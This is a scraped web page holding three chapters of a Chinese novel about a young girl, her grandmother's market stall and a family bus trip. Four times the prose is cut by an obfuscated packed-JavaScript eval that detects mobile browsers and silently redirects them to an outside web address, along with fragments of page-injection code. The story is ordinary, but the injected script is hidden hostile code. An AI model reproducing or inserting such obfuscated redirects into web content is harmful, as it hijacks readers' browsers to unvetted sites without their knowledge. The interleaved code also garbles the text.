;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14952745|160363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了新主意，徐明红觉的卖钱给同学是搞投机倒把，那换废品总可以的吧，到时候她再卖给收破烂的，一样换钱。 徐明红果然能接受，不过具体换什么马丽丽觉的自己还得去了解一下，就让小姨先到学校去给小首饰打个广告吧。 学生的购买力虽有但不强，马丽丽也没指望徐明红，她真正想怂恿的是姥姥孙梅，理由也是现成的，家里缺钱。 徐正义这次做手术治病一共花了差不多四千块钱，这对一个人一个月工资才三五十的家庭来说是笔巨款。 之前徐冬来和老丈人一家凑了八百块钱，后来骂人事件后老丈人刘文海又咬牙凑了五百；马天华徐□□两口子也凑了一千块，徐正义孙梅也凑了一千，徐正义又向厂里借了五百。 现在手术做完，三家都欠了钱，徐正义一时半会儿又上不了班，家里自然缺钱的很。 马丽丽没花多少功夫就让孙梅想明白了，徐□□是整了点小东西回来，但这玩意儿不是实在货，送人拿不出手，不如卖点钱，或是换点东西。 这年头很多家庭主妇都是手工达人，孙梅也是，但也有不少人没时间，还有一些家里头兄弟姐妹多的单身小伙，总有东西不趁手。 孙梅举一反三，打算搞点碎布头来，没事就做点鞋垫、鞋面、假领子什么的，有缝纫机，做起来也快，等徐□□买的小玩意儿卖完了还能继续卖点东西。 如今住在附近的人家都安定下来，在河边、山上开出不少菜地。 孙梅是最早开的人之一，她叫上徐明红和马天华，加上后来回来的徐高远，大家一起开了五块地，各种菜已经安排上了。 不光如此，在楼房旁边，柴火间后面，孙梅还指挥几个小辈用竹篾片编的篱笆围了两块空地种菜。这种事讲究先围先得，手脚不利索慢了一步的就只能去别的地方找空地了。 这样一来菜钱也省了一笔。 到明年开春再买几个小鸡小鸭养大了生蛋，明年就能还上一部分钱了。 孙梅和徐正义都才五十来岁，日子还有盼头，她有力气又有手艺，只需要放下脸来赚钱，对孙梅来说也没啥不行。 因为要用女儿买的东西去卖，自然要与徐□□先商量一下。徐□□没什么不同意的，又不是她自己去卖东西，再说这些小东西也是她头脑一热买下的，如今送人拿不出手，自己又用不完，能换回些本钱都当是孝顺父母了。 孙梅准备了几天，她决定只逢三、六、九逢墟的时候才出摊，人也多点，地方她早就看好了，幸福小镇就一条街，一头连着电厂，另一头是林场，百货商店靠近电厂这头，她就到靠近林场的那边摆。 一大早六点来钟孙梅就提着两个大篮子准备出摊，马丽丽为了今天早起昨晚上八点就睡了，她背着个小篓子非要跟着去，孙梅也只好带上她。 街上人还不多，这么早上街的基本都是排队买肉的人，现在买肉都得搭下水，早起才有得挑，晚去就只能买人家挑剩的。 孙梅看中的地方后面是个中药铺子，乡下人一般不会去县城看病买药，都是自己买点草药煮着吃。不过电厂有自己的医务室后，每到逢墟也是医务室最忙的时候，马丽丽的爸爸马天华做为三个主治医师之一，今天也是早早就上班准备去了。 10.第十章 孙梅用一毛钱租了草药铺子两个条凳和半个门板，人家也没啥不愿意的，最多借一上午就白赚一毛，草药铺子老板还帮着搭好了。 比起马丽丽的纸盒子，孙梅就讲究多了，她用几个铁盒子把不同价格的东西分开，不过也没全带来，只带了一部分先试试。 在木门板上搭上一块白布，孙梅把东西从篮子里拿出来摆好。 什么年代都有些手脚不太干净的人，为了防止有人偷拿，孙梅把同价位的发饰和小首饰五个五个用长绳子串在一起。 扣子则是在几条长长的布条上各缝了一个样品，孙梅事先用报纸裁了些纸片，如果买了没口袋不好放的，她就用纸片一包给人家。 布贴片也是，虽然都是一对对卖，但孙梅只摆了一片出来，要买再凑一对不迟。 另外还有几双男式鞋垫，鞋模子用的是电厂发的鞋，大小就是家里几个男人的尺码，孙梅是想着要卖不出去就自家人用。 假领子孙梅没做几个，这东西看着小，其实很废布。因为面子用碎布做不好看，得用整块布做面，里子倒是能用碎布做，但是领子要挺就要做厚，还得废两颗纽扣，也不知道有没有人要，孙梅就只做了三个，两个男式的，一个女式的。 其它零零碎碎的东西孙梅也带了一些来，她一边摆，便有人好奇的围了过来。有认识孙梅的电厂女职工跟她打招呼：“这不是孙阿姨吗？怎么摆起小摊来了？这发夹还挺好看的，哪来的啊。” 孙梅便趁机解释：“咱家老徐做手术花费不少，我这不是不上班了吗，就想着怎么补贴点也好。这些都是我女儿在粤市买的，说是什么最新款式，花里胡哨的我也不懂，不过还能看的过去，反正也不多，像这个也就两个，你要就三毛钱拿去，卖了我也没了。” “三毛钱？这太贵了，这扣子呢？” “扣子最小的一分一个，中等这种两分一个，大的五分一个。” “这不是跟百货商店一个价吗？咱们都是电厂的也没便宜？而且这最小的也太小的，小孩衣服用的吧，还一分一个？”旁边听的另一个女人接口道。 “咱本来也不是正经做生意，就是我女儿买东西也没个数买了这么些，我也是想回点钱补贴老徐的医药费。你去百货商店买一样的价，但这样子的他那没有啊。不过你要买多少？用鸡蛋换也行，一个鸡蛋我算你五分钱。” “那不贵？现在买鸡蛋六分钱哪，大个的八分钱！” “看你说的，你买鸡蛋六分钱，那你卖六分钱人家收不？瞎，你要觉着贵用钱买也行，粮票我也收。” 不管怎么说孙梅是不讲价的，都是一个厂的谁不知道谁啊，信不信她给一个人便宜了一分钱其他买了一样的人立马会回来要退一分钱？她才懒的打这官司呢，又不是卖菜的乡下人，能讲下几个钱都是便宜。 要不怎么说挑剔的都是想买的，说了半天后几个女人都买了扣子，一样的钱百货商店的扣子不是黑的就是灰的，不是双孔扁扣就是四孔扁扣，哪像这些这么好看。 孙梅一边收钱，马丽丽就一边挑好扣子，几个女人接过扣子数了没错，对着马丽丽也是一顿夸，正要走，突然一个女人看到马丽丽的衣服领子，忍不住叫了一声，“欸？丽丽，过来我看看你领子这是咋缝的。” 马丽丽大方走过来，这女人一看，明白了，原来马丽丽里头穿了个蓝色的假领子，布料就是电厂发的厂服衬衣，但是这领子尖上每边缝了三颗最小那种白色圆扣子，看起来像一簇珍珠小花，立马就显的高级了起来。 原来还能这么缝，几个女人心中同时想。 “挺好看的。”一个女人说。 “是我想的，我也觉得好看。”马丽丽立刻挺着小胸脯大声说。 “唉是是是，丽丽就是聪明。” 在夸赞中几个女人也买了些小扣子。 “姥姥，我厉害不？”马丽丽见客人一走，立刻骄傲问孙梅，她之前没说错，在领子上钉小扣子确实是她的主意。 “厉害厉害，我们丽丽最厉害，姥姥早就知道，丽丽又聪明又厉害。” “嘿嘿嘿～姥姥，给我戴一个，给别人看看买。” 马丽丽从小就没留过长发，一来是徐□□手笨，二来现在的皮筋是真.橡皮筋，每次扎头发拆下来都得卷下一小撮。不过马丽丽随姥姥，头发又多又密，短头发也能扎起一个冲天小辫，就是待会儿拆的时候牺牲有点大。 马丽丽：我付出的可太多了。 孙梅觉得这主意不错，她仔细挑了一个最贵的发夹给马丽丽夹上，还小心的把铁夹穿过一圈皮筋，又从头发中间绕过，这样如果有人多手多脚，马丽丽立刻就有感觉。 还别说，总是有那么些人喜欢小偷小摸的沾便宜，所以当马丽丽发现有人想把她头上的发夹拔下来时，她很不客气的尖叫出声：“别拔我发夹，痛死我了！” 所有人都被这尖叫吸引望了过来，站在马丽丽身边的大妈干笑着放开手，拍了一下马丽丽的脑袋，“你这孩子吓我一跳，我这不是看你发夹歪了想正正吗。” 孙梅一把把马丽丽拉到自己身摸了摸她的头，没好气的说：“他大婶，我们家孩子小，可经不住你这么拍脑袋。再说人大城市现在就流行这么戴发夹的，好看，不信你买俩回去给自个儿孙女试试，保证好看。” 大妈脸色一变，气哼哼的说：“你们家才是孙女儿，我们家可是要抱大孙子的。”说完推开人群走了。 等她走后，围在小摊周围的女人们开始窃窃私语，认识那个大妈的给不认识的普及了一下她家的事，什么婆媳不合啦，重男轻女啦，偏心眼啦，手脚不干净啦……矮人一头的马丽丽被迫吃瓜，真香。 说归说，挑东西也不能停手孙梅也没想到生意这么好，两个小时她就没停下过嘴和手。 马丽丽也是帮了大忙，姥姥在上头眼观六路耳听八方，她就在底下帮着数扣子、包扣子、找零钱、放鸡蛋，忙的不可开交。叫别人都说不愧是徐□□的女儿，当妈的是数学老师，这做女儿的三岁就会数数。 等到八点之后，街上的人一下子少了大半，该上班的都上班去了，剩下的都是全职家庭主妇和退休的大妈，还有卖完了菜有心思逛街的来逢墟的乡下人。 孙梅也终于有空清点清点，她带来的东西几乎都卖光了，扣子是卖的最快的，几分几毛钱一个的发夹首饰也只剩两个，布贴也剩一对，另外一些钥匙铁环、指甲剪、别针、缝纫机针、裤钩子、搭扣等等小零碎，也都卖了个干净。 “今天丽丽可帮了大忙了。”孙梅收拾好东西，给马丽丽擦擦汗，“看好东西，姥姥去还板子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14957217|160363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “嗯。” 草药店老板也没想到说好借一上午的东西这才八点半就来还了，刚才孙梅生意好他是看见了，但现在这一毛钱就拿着有点烫手。 “阿姨，这就不卖啦？”草药店老板接过条凳问。 孙梅咳嗽一声，“咳，我这不是没经验，你听我这嗓子哑的，吃不消，今天先回去，下回逢墟再借你一回，还是一毛钱啊？” 草药店老板一听这话心中一喜，“瞧您说的，什么钱不钱的，到时候我早点开门。”说完他又抓了一把胖大海和甘草包了一包递给孙梅，“拿回去泡水喝几回嗓子就好。” “唉呀这怎么行，白拿……” “阿姨，拿着拿着，都是自家东西，拿着。” “这怎么好意思。” “拿着拿着，阿姨别跟我争，你这嗓子不好说话的。” “那好吧，就这一回，就这一回啊。” 两人推搡了几下，孙梅拿着纸包回来了，一看还乐了。原来马丽丽蹲在马路牙子上守着半篮鸡蛋，来个老头还以为她是卖鸡蛋的，正在那问大人呢。 “爷爷，我们不卖，这蛋是我姥姥买的。”马丽丽仰着头说。 老头还跟她聊上了：“你家几口人啊，买这么多？” 马丽丽不装也娇憨，“给我姥爷吃，他生病做手术，身上开了个这…么大的口子。”还比划上了。 孙梅就是这时候过来的，这老头她还认识，“廖师傅，买菜呢？” “孙阿姨啊，这么早买蛋？这是你外孙女吧？是个聪明蛋。” 这话说的，不过孙梅也没计较，两人白话了两句，孙梅便带马丽丽回家了。 因为篮子里有鸡蛋，铁盒子就不好放里边了，马丽丽塞了两个盒子在自己的小背篓里，还有四个，孙梅把盖子盖上，咬住布条两头，然后搭在篮子提手的一边，她把篮子挎在胳膊肘上，一手牵着马丽丽。 回到家喝了一缸子水，孙梅这才来清点赚了多少钱，马丽丽也爬上桌子趴在一旁看。 数了半天各种分币角钞，一共是25块6角2分，还有52个鸡蛋。 鸡蛋是硬通货，镇上差不多家家都养鸡，有人专门零散的收蛋，也就四五分钱一个，孙梅虽然不换钱，但换东西抵五分钱，愿意换的也不少。 “好少啊。”从小到大对钱不是很有数的马丽丽感叹，卖了几百个扣子发夹子就赚二十五块钱，家里欠的钱猴年马月才能还清啊？ “这还少？真是小孩家家的，这不少了！”一个月工资才多少呢。 孙梅把钱收起来，这钱不是重点，重点是换的的鸡蛋比买的便宜。 孙梅从篮子里一个一个对光挑出鸡蛋来放进另一个篮子，又把几个不大新鲜的鸡蛋挑出来准备先吃。 “呆会儿叫你妈来带三十个鸡蛋回去，每天给你煮一个。”孙梅边挑边说。 “啊？我不要，这不是给姥爷吃的吗？”马丽丽从小到大都不爱吃煮鸡蛋，她总觉得有股子骚味。她很快有了个想法，“要不送几个给孙爷爷？妈之前不是说姥爷的手术都是人家帮忙找的医院吗？” 孙梅一想，觉得这是个好主意，人家帮了这么多，是该表示表示，于是便挑出三十个蛋准备给孙振华送去，然后十个给女儿家，剩下十来个留给徐正义。 11.第十一章 “哎呀，她姥姥，你看你这客气的，不用真不用，再说如果不是丽丽那时候救了我家老孙……是吧，我们老孙也一样要去手术，这不是搭个伴吗，谁也不想生病不是。”田文珠对鸡蛋是一力推辞，可是她也拗不过孙梅，最后还是收下了。 孙振华知道后也没说什么，但是扭头就整了个小巧玲珑的收音机给马丽丽，能放磁带，能收国际频道那种，还特别声明这是借给她学习用的。 当然也不是白借，不能当摆设，孙振华就跟马丽丽说，让她听俄语英语的电台学语感，还教她怎么调试，到周末上课的时候得给他学一句，啥都行，到时候孙振华就教她这句是啥意思。 马丽丽：铁锅炖大鹅，自己给自己加功课，啧。 没办法，马丽丽无法反抗，但她把那盒放俄语歌的磁带给坳走了，孙振华同样没办法，只好跟她说，“只有一盒磁带，你可别弄坏了，周末来我们还要学（听）习（歌）的。” “放心吧~” 第一次用收音机的时候是吃了晚饭后，马天华特地拉了根线好让收音机能在饭桌上用，收拾好饭桌他就把收音机放桌上了。一家三口围坐在桌子前，马天华扭到孙振华说的那个频道，一阵“滋滋”后，响了。 “#￥……@#￥％@#” 三个人面面相觑。 “丽丽你不正学这个吗？听得懂不？” 马丽丽翻了个白眼，“我才学了几天，又不是天才就会了，爸他以前不是学过吗？听得懂不？” 马天华否定三连，不知道听不懂早忘了。 徐□□马天华一会儿就没劲了，他俩一个捡起打了一半的毛衣，一个拿起一本《儿童病理》，就看马丽丽一个人挣扎。 完蛋，这真毛子说起话来可比孙老头快多了，孙振华说鹅语，那就跟跑马拉松的速度一样，一分钟跑不了几十米，但广播里头这说话速度跟百米冲刺似的几秒钟一百米就过去了。 啊不，这还是慢了，应该是他们说话跟加特林成似的，突突突突突突，结束。 马丽丽听了十几分钟，只想打瞌睡，她脑袋一抖，差点砸桌上，却突然一个机灵。 对啊，这广播节目虽然内容一同，但开头和结尾应该都是套路，比如“欢迎收听本时段节目”什么的，她只要认真听一个……啊，不对，开头不行，就算认真听了，之后那突突突突突突的，也突没了，就学最后那句。 有了主意后，马丽丽放松下来，她看看钟算好时间，一般一个节目都是半小时一小时结束，但是外国跟种花家有时差，马丽丽掰着手指头算了好一会儿才算明白。 果然，到点后广播主持说了句话，就开始放音乐，马丽丽“卡”暂时关了广播，她大声的开始模仿刚才那句话。 啊，不行，只记得几个发音呢，不过没关系，再过半小时又能听一次……怎么感觉这么惨呢？要是有个空白磁带就好了。 好在马丽丽爸爸也能派上点用场，虽然他总说忘光了，但这系统学过的跟完全不懂的还是不一样，他还能给马丽丽提醒一二。本着不能浪费的精神，马丽丽就着这半个外挂自学了一下《喀秋莎》。 于是马丽丽每天早上唱着原汁原味的《红莓花儿开》去上托儿所，下午从托儿所回来又唱着《喀秋莎》跟姥姥去菜地（不会唱的地方就“啦啦啦”过去），晚上先用原文磁带复习一下发音，然后算好时间鹦鹉学舌那句毛子话，感觉熟悉了，睡觉！ 周末，孙振华一早起来在阳台上浇水，小楼建造时阳台就做了个外挂式花坛，大部分人家都利用起来种了菜或花，孙振华家种的大蒜，还是孙梅帮忙育的苗。 孙振华用一个大搪瓷杯细细的在蒜头处浇水，突然听见隔壁单元一个童声独唱在楼道里响起，然后声音一路向下出了单元门，孙振华微微探出头，只见马丽丽穿着衬衣长裤，把一盒磁带顶在头上，沿着排水沟的水泥边一路唱着俄语版《喀秋莎》从隔壁单元走进这边单元，又一路唱着上了二楼，接着孙振华听到她在自家门口敲门。 “我来啦，孙爷爷开门开门。” “来啦，哎呦，是丽丽呀。”这是田文珠，她也早等着呢。 孙振华咳嗽一声，放下杯子，进屋的时候他心想，不错嘛，还会自学了，看样子目前的功课对她还挺游刃有余，那么可以开始学字母了，总得忙起来，不能浪费时间。 马丽丽还不知道，自己的新功课原来是无意中唱的歌给带来的，她只感觉脑子有点糊。 话说这老毛子的字母为啥有33个，为啥加两点又是另一个字母，为啥印刷体和手写体还不一样，为啥元音字母有10个元音却只有6个，辅音字母有21个辅音却有36个？ 脑子不够用，所以毛子的先人都是怎么想的？ 孙振华也没那么鬼畜，他每次就教马丽丽五六个字母，等马丽丽能完全掌握读写和在单词中的使用后他才会教下一批。马丽丽也领了个新任务，就是她在收听鹅语节目的时候要特别关注学过那些发音。 之后的一个星期五早上，马丽丽发现她爸爸买了一大堆馒头花卷。 “要去奶奶家吗？我也去吗？” “明天是大周末，全家都要去，咱们好久没回了，你当然也去，我已经给你在孙爷爷那请好假了。”马天华把馒头花卷用塑料袋装起来挂在门后面，“明天早上坐交通车去，你妈把东西都收拾好了。” “嗳？就是那个新买的车吗？”马丽丽在托儿所听说了这事儿，电厂今年中秋节的时候买了一辆交通车。 这辆车未来将会伴行马丽丽的童年，之后退役，换成新的交通车，还会增加新的同伴。 每到星期六早上七点半，交通车准时从电厂出发。 先爬过两座连体山，再一路向下，经过几个乡镇村到达游江县，耗时一个多小时；之后会稍稍平缓的再经过几个乡村镇，最后到达章市，仍然耗时一个多小时。 之后等到星期天下午三点，公交车会从章市出发，回到幸福小镇。 马丽丽小时候没少坐电厂的免费交通车，因为奶奶家就在游江镇。 虽然交通车方便，但却只对电厂内部人员开放，而且时间固定，不过小镇还有固定班车和汽轮，轮船马丽丽小时候也经常坐，呃，电厂人多车少，有时候也有挤不上去的情况。 “就是那个。”马天华乐呵呵的说，“你明天可得早点去占个座位，不然就得站着去啦。” ！！ 这个马丽丽本来应该是知道的，不过实在是太久她给忘了。现在坐车可不像以后，一个座坐一个人，多一个不行，现在坐车是只要能挤上去就行，没座就站着去，一两个小时的事。但问题是这路可不是水泥的，别说站一两个小时，爬座山就够呛。 “妈，明天让姥姥早点来接我，我们去等车，你们也早点来啊。”马丽丽着急的说，下定决心要抢到座位，因为回来的时候他们是半途上车，那是铁定没座的，运气好的话还能坐在发动机盖上，不过那玩意儿是真烫屁股。 “啊？不需要这样吧？”马天华不以为然。 “反正我得早点去，妈，我今天自己睡，明天早点叫我，你们带着东西晚点来也行。” “行行。” 从中午开始马丽丽就在想明天等车的事，她性格里头有点急，什么事看不到结果心里就焦躁不安。 第二天一大早马丽丽就起了，她刷完牙就不管爸妈直奔姥姥家。 “姥姥，咱走。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14961043|160363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这会儿徐正义徐明红都没起呢，孙梅倒是早早起了，煮了稀饭，又煮了鸡蛋。 “嗐，你着什么急呀，时间还早呢，吃了吗？” “不早了姥姥，七点半的车，赶紧的啊，爸妈拿馒头会晚点，我们先去占位置。” “那我带几个鸡蛋，你先吃馒头。”孙梅说。她去摆了几次摊，已经把徐□□买的那堆东西都处理掉了，钱不多，但是换了两百多个鸡蛋，送了孙振华家七十个，马丽丽家七十个，自家也还剩一百多个，每天吃一两个也能吃几个月，好在天渐渐凉快了，也能放的住。 见叫不动姥姥，马丽丽只好火急火燎的吃了两口，见已经七点了，她赶紧拖着姥姥去等车。 孙梅还不以为然感觉太早，没想到这个点已经有很多人在等车了。 客车停在路边，旁边就是食堂大厅，不少人就坐在厅前的台阶上吃着馒头等着车。还有几个小孩在绕着车玩耍，他们有的好奇的想爬上轮胎，有的跳起来去够车窗。 以马丽丽的眼光来看这客车的造型真的十分复古，而且也不大，但在其他人眼里这车又大又漂亮，重点是座位跟沙发一样软，不像班车都是木头椅，坐久了就不舒服。 “我来拿，姥姥，我们去那里等。”马丽丽拖着孙梅过去，为了占座她还特地拿了一个布包。 “哎呀，慢点慢点，姥姥跑不动。”孙梅嘴里叫着。 马丽丽拉着姥姥的手让她弯下腰，小声在她耳边说：“姥姥，你看这么多人等车呢，呆会我们就站门口等，一开门你就扶我上去，我去占座位呀，不然要站好久咧。” 孙梅眼睛一转，确实，人越来越多了，她点点马丽丽轻声说：“你还真聪明。”两人就站在车头附近装模作样的说起了话。 孙梅慢条斯理的给马丽丽整理起衣服头发，一边说：“刚才都忘记给你脱了罩衣了，不过也好，你奶奶家在乡下，灰大，你这件夹衣可是刚洗了的，别弄太脏，这可是灯芯绒的料子，厚着呢，不好洗，知道不？” 马丽丽：“知道了。” 孙梅：“在奶奶家要有礼貌，要注意保暖，早上凉着呢，睡觉盖好被子。” 马丽丽：“好的。” 孙梅：“见到你爷爷奶奶帮我问个好，之前你姥爷生病你爸和你也好长时间没回去了，这次去要对爷爷奶奶好点，知道不？” 马丽丽：“知道的。” 两人说着话，那边司机慢悠悠抽着烟踱了过来，他一来，所有等车的人立刻就如下了油锅的麻圆一样沸腾着蜂拥至客车门口。孙梅马上牵着马丽丽占据了有利位置，很快她们就被包围了，身后不断有人向前挤。 马丽丽用脚蹬在车门台阶上，但是不一会儿司机就走了过来，他绕车检查一圈，把刚才小孩调皮卡在轮子上的小石子抠下来，又粗鲁的伸出手臂把车门附近的人都撸开，“退后，退后，别挡着门。”等把所有人都赶的向后退了一步，他这才打开司机室。 “呲”，车门一开马丽丽就迅速向上窜，她早就看好了目标，就是司机位后的第二排，在其他人刚刚挤上车的时候，马丽丽同学一个铲扑，趴在座位上，这就算占上了。 等着坐车的人一涌而上，各显神通，车里大概有二十多个座，几分钟后没占上座的人悻悻下车，占上座的人大部分也下车了，毕竟离开车还有好一会儿呢。 马丽丽见大家都走了，她从罩衣上解下小手绢小心的扣在靠过道的座位上，又把布包放在靠窗的座位上，这才下车去了。 “我占到了座。”马丽丽喜滋滋的对姥姥说。 “还是你厉害。”孙梅牵着马丽丽站在路边。 “我就说要早点来吧。” “下回是得早点。” 12.第十二章 说了几句，马天华和徐□□提着馒头包子来了，他俩也没想到人这么多，听到马丽丽得意的说起自己的先见之明，两个人都称赞了她几句。 马丽丽满足了。 孙梅把蛋给马天华和徐□□，“吃了没？没吃赶紧的垫一垫，空着肚子坐车容易晕车。” 这倒不用，两人吃了早饭来的，马天华还是给丽丽带上了，他趁还没发车，又去旁边食堂弄了点水来，三人也只喝了几口，也不敢多喝，怕半路想上厕所。 “走喽。”抽完烟的司机拿着个长杯子从食堂大摇大摆的出来一路吆喝，等车的人们又再次纷纷上车。 “我们走了，妈你帮我们还下杯子。”徐□□忙道，“走了哈。” “看着点丽丽。” “哎，知道了。” 所有人都上了车，司机不紧不慢的爬了上来，冲着坐在车头发动机盖的一个男孩叫道：“退后退后，不要挨着杆子。”又对着站在最前面的人叫：“不要挡住了后视镜，往后站。”准备好后，这才出发。 马丽丽兴奋的伸出头冲姥姥挥了挥手，被徐□□拉了进去。 原本只能坐二十来个人的交通车挤了差不多四十个人上来，没座的人都站在过道上，车头前的发动机盖子上也坐满了女人和孩子，虽然后面的时候有点烫屁股，但好歹不累。 虽然马丽丽觉得交通车不大，但其实这个年代马路更小，山路也不是什么水泥路，而是泥土砂石路。 交通车离开幸福小镇左右摇摆一路爬坡，走过大S坡和小s坡，到达山顶下坡。 只有车这么宽的山路坡度却差不多有60度，中间还要拐弯，其中一个弯大概也只有60度，超载的交通车一路慢行，光是看着就头晕。 一个站在车头的人奋力挤到窗户边打开窗户“哇”的吐了出来，后面所有窗户电光火石的关上了，马丽丽见状十分庆幸自己占到了好位置。 虽然外面尘土飞扬让大家只能把窗户开一小条缝，但全关上后汽油味很快就让车内的空气变得更加难以忍受起来。 马丽丽从口袋里掏出早就准备好的小半瓶风油精，滴了几滴在胸口挂着的手绢上，她扭头道：“妈，给，闻闻。”徐□□擦了一点在鼻下，顿时感觉好像重新活了过来似的。她又把风油精的瓶子递给马天华，马天华也擦了点，感觉好多了。 这时突然旁边有一个女人开口问道：“马医生，那个风油精能不能给我擦一点？”马天华看了她一眼，呃，不认识，不过没关系，他把瓶子递了过去，“没事，你用吧。”他这么一说，马上就有更多的人叫起来：“也给我用一点，马医生，哎呦，太难受了。” 马天华还能怎么办呢，反正最后这风油精的瓶子也没再回来了。 司机也大声叫起来：“大家伙都坚持一下，马上到梅水镇就有人下车了。” 有人下车就会停车，会开门，而且梅水镇就在山脚下，有了盼头车上的人们感觉自己还能坚持。 大概是太久没有在这种路况坐车了，马丽丽感觉这一个小时太长了，相对论在这里得到了充分的体现。 等终于到目的地的时候，大家都松了口气。快速的挤下车后，一家三口站在路口边的小商店门口目送交通车“突突突”的扬起一阵尘土，过了小桥又拐过一个弯，走远了。 “啊，呼。”三人都喘了口气，可真够受的。 “妈，我要上厕所，憋不住了。”马丽丽夹着腿大叫。 “前面就到你奶奶家了，憋一会儿。” “不行，忍不到那里了。”徐□□无法，一把把马丽丽夹在咯吱窝里就朝着田埂跑去。 现在正是收割晚稻的时候，金黄色沉甸甸的稻穗半趴着，马路两边都是稻田，远处有一两块田已经收割了，一捆捆的稻草叉立在空空的田里。 准确的来说，马丽丽奶奶家所在地是游江县东坡镇的下头村，以马路为界，对面的田就是另一个村子上头村的。 不过目光所及之处，就只有马路边这一个小商店，平时附近的人要买点日常用品又不想花一两个小时去镇上或县里，就只能选择这里。 店主是一对老夫妇，男店主对附近的人都很熟悉，自然也认识马天华，他走到门口和马天华相互打了个招呼。 不多时马丽丽和徐□□慢慢的从田埂走回来，三人沿着乡间土路向家里走去。 章省地处丘陵地带，游江县就是被若干不高的小土山包围着的。 下头村基本就建在一个小山包上，田地建成上下三层，不能算是梯田，但也有许多小块的不规则的田地，这就是山区田地的特征啦。 一条小河在最低处从远方流淌而来，下头村正是因为在小河下游而得名。 一条土路向前延伸，山包伸出的一角如同游轮将小路劈成一个“Y”字形，马家的屋子就建在“甲板”上。 土路两边都是稻田，马丽丽饶有兴致的伸出手来划拉，结果差点割破手。 “你给我小心点，好好走路。”徐□□把马丽丽拉了过来。 “天华，回来了呀。”一个老农牵着黄牛走过，用土话跟马天华打招呼。 “哎，回来了。”马天华回应。 上了小坡就是前院，因为旁边紧临两条小路，所以一边种了一丛竹子，一边种了柚子、芭蕉等植物。 最先跑下来迎接三人的是一只黄色的中华田园犬，也就是土狗，它表情严肃的“汪汪”叫唤，认出马天华后又一秒变脸，咧着嘴摇着尾巴上前绕着三人直转。 马天华担心女儿怕狗，挥手让狗后退，马丽丽却是不怕的，她伸手想去摸狗头，被她妈妈拦住，“狗身上有跳蚤，呆会全蹦你身上。” 马丽丽撇嘴，瞎扯，她妈妈就是不喜欢动物，除非能当菜吃的。 院子里一个正在与母鸡搏斗的男孩是马丽丽的堂哥马冬剑，另一个趴在门槛上奋力想翻越出来的一岁男孩是马丽丽的堂弟马冬山。除了这俩，马丽丽还有三个堂姐，三个姑表姐，四个姑表哥。 马家人口众多，大家长，也就是马丽丽的爷爷马乔生以前是沪市人，当年因为战乱来到这里，之后就扎根了。 马丽丽的奶奶沈月一生一共生了九个孩子，大儿子马天利在章市上班，生的女儿马兰兰排行第二，然后是马丽丽的大姑姑马小娟和二姑姑马小芳，在省会八一市，离的远不常见。 马天华就是老四，老五马天明老六马天楚都在游江镇百货公司上班，分别生了行一的马玲玲和行三的马洁。 老七就是三姑姑马小燕，住在游江镇是个家庭主妇，生了两个儿子，丈夫陈明强在审计局上班。 老八马天林在教育局上班，他生的儿子就是最小的马冬山（马冬剑），而叔叔辈最小的马天荣生的马冬剑排行老四。 马冬剑、马洁和马丽丽其实是同年生，但差着月份就分了大小。 其实到马丽丽这一辈就没排字辈了，不知道为啥俩男孩中间都用了冬字，也还好没排字辈，马丽丽想，不然以现在的取名习惯，马玲玲可能会叫……马冬梅，而她可能是马冬菊？囧， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14969475|160363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算了，还是不要了吧。 马家人口多，当年盖的屋自然挺大的。 马家住在乡下，大屋也是十分有特色的土砖房，黄色的黏土和水后像揉面团似的搅拌踩踏，让泥土变的充满胶质，再混进干稻草，用木头模板做成一样的长方体砖，等砖干透就能搭屋了。 房子的架构都一样，高高的木头门槛，上面是小门，后面是大门，大门只早晚开关一次，一根老木头当门栓，平时就是小门虚掩着。前面是堂屋，两边前后左右四个房间。 像马家这样讲究的人家还会先用石头搭一层底墙，在堂屋铺石板，门旁还特地留出狗洞。 堂屋后是左右两个小门，后面是夹墙，有上楼的楼梯，下面放东西。因为马家人多，原本当库房的阁楼也隔了出来住人，马丽丽一家的临时房间就在阁楼的其中一个小房间。 